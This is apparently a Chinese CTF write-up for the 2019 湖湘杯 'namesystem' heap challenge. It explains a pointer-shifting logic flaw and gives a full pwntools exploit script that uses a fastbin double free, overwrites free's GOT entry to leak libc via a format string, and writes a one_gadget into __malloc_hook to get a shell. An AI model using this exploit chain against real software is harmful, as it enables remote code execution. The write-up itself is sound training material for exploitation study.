队内组建了pwn小组,不定时更新题目

湖湘杯_2019_namesystem

这是一道湖湘杯的题目,比较简单,但是由于我水平比较菜,还是花了一段时间来复现

准备

image-20211031140513012

64位程序,pie没开

ida反编译

image-20211031140643940

是一个经典菜单题,但是show函数不能用

add函数

image-20211031140817119

限制了申请的chunk的大小在16-96之间,为fast_bin范围

drop函数

image-20211031140937800

将指针free然后清空,无uaf,但存在逻辑漏洞

image-20211031141027117

当free id为0的chunk时, free后,id为18的chunk就和id为19的chunk是同一个chunk了

当free id为18的chunk时,free后,id为18的chunk就和id为19的chunk是同一个chunk了

申请20个chunk

image-20211031143332780

delete 18

image-20211031143348102

可以看到当我们删除18时,19的chunk地址没变,而且18变成和19一样的chunk。

delete(0)

image-20211031144422690

可以发现,只要我们 不删除19,并且19不为空,当我们删除19前面的chunk时,chunk地址都会前移,并且18也会变成和19一样的地址

解题思路

构造double链,将free_got改为printf,然后利用格式化字符串泄露libc基址,再构造double链打malloc_hook,将____malloc_hook改为onegadget,然后getshell,注意此处需要通过 realloc_hook 调整栈帧使 onegadget 生效

exp

#coding:utf8
from pwn import *
context.log_level="debug"
p = process('./namesystem')
elf = ELF('./namesystem')
libc = ELF('libc-2.23.so')
printf_plt = elf.plt['printf']
 
def add(size,content):
   p.sendlineafter('Your choice :','1')
   p.sendlineafter('Name Size:',str(size))
   p.sendlineafter('Name:',content)
 
def delete(index):
   p.sendlineafter('Your choice :','3')
   p.sendlineafter('The id you want to delete:',str(index))

#info  ptr[20] : 0x6020A0
for i in range(17):
   add(0x10,'a'*0x10)

#gdb.attach(p)
add(0x50,'b'*0x30)#17
add(0x20,'a'*0x20)#18 #temp
add(0x50,'c'*0x30)#19

#gdb.attach(p)
#got表上伪造一个chunk
fake_chunk_addr = 0x0601FFA
delete(18)#19位置的指针移到18后没有清零

#gdb.attach(p)
delete(19) #19
delete(17) #17
delete(17) #19

#gdb.attach(p)
add(0x50,p64(fake_chunk_addr)) #17

#gdb.attach(p)
for i in range(17):#ptr结构体数组有限制需要将他们delete进fastbin中
   delete(0)

#gdb.attach(p)
add(0x50,'b'*0x30) #18
add(0x50,'b'*0x30) #18
#gdb.attach(p)
for i in range(17-3):
	add(0x10,"a"*0x10)



add(0x60,"a"*0x68)# 17
add(0x20,"a"*0x68)# 18
add(0x60,"a"*0x68)# 19


delete(18)#19位置的指针移到18后没有清零
delete(19) #19
delete(17) #17
delete(17) #19

for i in range(17):
	delete(3)

#gdb.attach(p)

add(0x50,"a"*0xe+p64(printf_plt)[0:6]) #19
#print('print:',str(printf_plt)[0:6])

#gdb.attach(p)
add(0x28,"%13$p")#4
delete(4)#printf("%13$p")
libc_base = int(p.recvuntil('Done!',drop = True),16) - 240 - libc.sym['__libc_start_main']
print "libc_base : "+hex(libc_base)
malloc_hook_addr = libc_base + libc.symbols['__malloc_hook']
one_gadget_addr = libc_base + 0x4527a#local
#remote_one=[0x45216,0x4526a,0xf02a4,0xf1147]
#one_gadget_addr = libc_base + remote_one[1]
realloc_addr = libc_base + libc.sym['realloc']
print 'libc_base=',hex(libc_base)
print 'malloc_hook_addr=',hex(malloc_hook_addr)
print 'one_gadget_addr=',hex(one_gadget_addr)

#gdb.attach(p)
add(0x60,p64(malloc_hook_addr - 0x23)) #4
add(0x60,'b'*0x60) #5
#gdb.attach(p)
add(0x60,'c'*0x60) #6
#gdb.attach(p)
#写malloc_hook
add(0x60,'\x00'*0xB + p64(one_gadget_addr) + p64(realloc_addr + 0x10))
gdb.attach(p)
#add(0x60,'\x00'*0xB + p64(one_gadget_addr) + p64(realloc_addr + 0x10))
#getshell
p.sendlineafter('Your choice :','1')
p.sendlineafter('Name Size:','18')

 
p.interactive()

exp详解

在这里解释一下exp的以及payload的构造,顺便复习一下

image-20211031152627295

简单的chunk申请,这里没有什么要说的,只需要注意后三个chunk的大小就可以,17与19一致即可

image-20211031152746997

关于这个fake_chunk,因为我们要修改free的got表,所以fake_chunk在free_got附近

image-20211031152951094

image-20211031154209102

存在可用size,所以用这个地址

ps:

image-20211031154459337

这个地址也可以

利用 realloc_hook 调整栈帧的payload,其中’a’*11为固定值,后面的12/0x10可变,可以自己尝试

'a'*11 + p64(onegadget) + p64(realloc+12) + '\n'

'a'*0xB + p64(one_gadget_addr) + p64(realloc_addr + 0x10)